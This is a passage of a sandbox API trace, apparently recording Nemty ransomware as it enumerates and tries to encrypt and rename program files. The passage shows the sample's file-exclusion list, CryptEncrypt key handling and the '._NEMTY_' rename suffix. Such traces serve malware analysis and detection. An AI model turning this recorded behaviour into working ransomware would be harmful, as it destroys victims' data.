(lpString1="Perf_Scenes_Mask1.png", lpString2="rsa") returned -1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="NTDETECT.COM") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="ntldr") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="MSDOS.SYS") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="IO.SYS") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="boot.ini") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="boot.ini") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="AUTOEXEC.BAT") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="ntuser.dat") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="desktop.ini") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="CONFIG.SYS") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="RECYCLER") returned -1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="BOOTSECT.BAK") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="bootmgr") returned 1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="programdata") returned -1 [0072.134] lstrcmpiW (lpString1="Perf_Scenes_Mask1.png", lpString2="appdata") returned 1 [0072.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0072.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perf_Scenes_Mask1.png", lpUsedDefaultChar=0x0) returned 21 [0072.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0072.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perf_Scenes_Mask1.png", lpUsedDefaultChar=0x0) returned 21 [0072.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0072.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0072.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perf_Scenes_Mask1.png", lpUsedDefaultChar=0x0) returned 21 [0072.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0072.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Mask1.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perf_Scenes_Mask1.png", lpUsedDefaultChar=0x0) returned 21 [0072.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0072.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0072.135] Sleep (dwMilliseconds=0x5) [0072.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdea8dd70, dwHighDateTime=0x1d561e7)) [0072.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdea8dd70, dwHighDateTime=0x1d561e7)) [0072.167] GetLastError () returned 0x5 [0072.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.167] GetLastError () returned 0x5 [0072.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0072.167] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0072.167] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0072.168] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0072.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0072.168] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="vDV1EfGwzsQh2ltZi4oUbZJGfPKnJDeArIuRoQK2wlPqqpn1mWq2xsoYmWZ6sW07\r\nyJ7zEt+MULBWVYF5ro7hjdKS9ULZ9+pjw3XG6i/G7UtzvYq+AhEBuIPCEZ0SOtXM\r\nRJtGY700yG+4ewFzrH830hCfGxvaW/RNK3g08cNl8jdD4QAx+POzzRk1FgJcmBbH\r\nUw919KIxwmJh1pmAM26gSJULdjof4v1lSdHRxidN2GpB7Ik5KboadMtkMnCmmdiZ\r\nCbFniyjyradgO+6bfGbATX8rrRw0Xmo3TvuLtNa1AFIte2Iz5mUAHy9VMEZlQU5q\r\nyzB2NDZrThB7gAQjzlyCPg==\r\n", pcchString=0x653e91c) returned 1 [0072.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0072.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0072.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0072.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0072.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0072.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0072.168] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.168] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0072.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0072.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.187] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.287] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.287] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0072.293] CloseHandle (hObject=0xffffffff) returned 0 [0072.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0072.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0072.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0072.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0072.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0072.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0072.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0072.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0072.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0072.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0072.293] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png._nemty_kgobjgd_")) returned 0 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.294] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2=".") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="..") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="...") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="windows") returned -1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="$RECYCLE.BIN") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="rsa") returned -1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="NTDETECT.COM") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="ntldr") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="MSDOS.SYS") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="IO.SYS") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="boot.ini") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="boot.ini") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="AUTOEXEC.BAT") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="ntuser.dat") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="desktop.ini") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="CONFIG.SYS") returned 1 [0072.294] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="RECYCLER") returned -1 [0072.295] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="BOOTSECT.BAK") returned 1 [0072.295] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="bootmgr") returned 1 [0072.295] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="programdata") returned -1 [0072.295] lstrcmpiW (lpString1="Perf_Scenes_Subpicture1.png", lpString2="appdata") returned 1 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", 